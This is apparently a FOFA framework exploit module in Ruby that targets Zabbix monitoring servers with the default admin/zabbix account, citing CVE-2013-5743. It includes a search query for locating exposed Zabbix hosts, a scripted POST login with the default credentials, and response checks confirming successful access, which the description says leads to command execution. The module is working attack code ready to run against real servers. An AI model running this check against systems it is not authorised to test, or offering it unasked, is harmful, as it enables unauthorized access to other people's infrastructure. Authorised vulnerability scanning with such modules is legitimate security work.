require 'fofa_core'
#require 'payload/webshell'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'Zabbix默认管理员帐号',
      'Description' => %q{
Zabbix是流行的网络监控系统，存在默认帐号admin/zabbix，最终导致命令执行。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'Zabbix',
      'Homepage' => 'http://www.zabbix.com/',
      'References' =>
          [
              ['CVE', '2013-5743'],
          ],
      'DisclosureDate'=> '2013-09-11',
      'FofaQuery'=>'body="images/general/zabbix.ico"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'POST',
                    uri: '/index.php',
                    data: 'request=&name=admin&password=zabbix&enter=Sign+in',
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'OR',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 302
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: 'scripts.php'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    puts "account is admin/zabbix"
  end
end
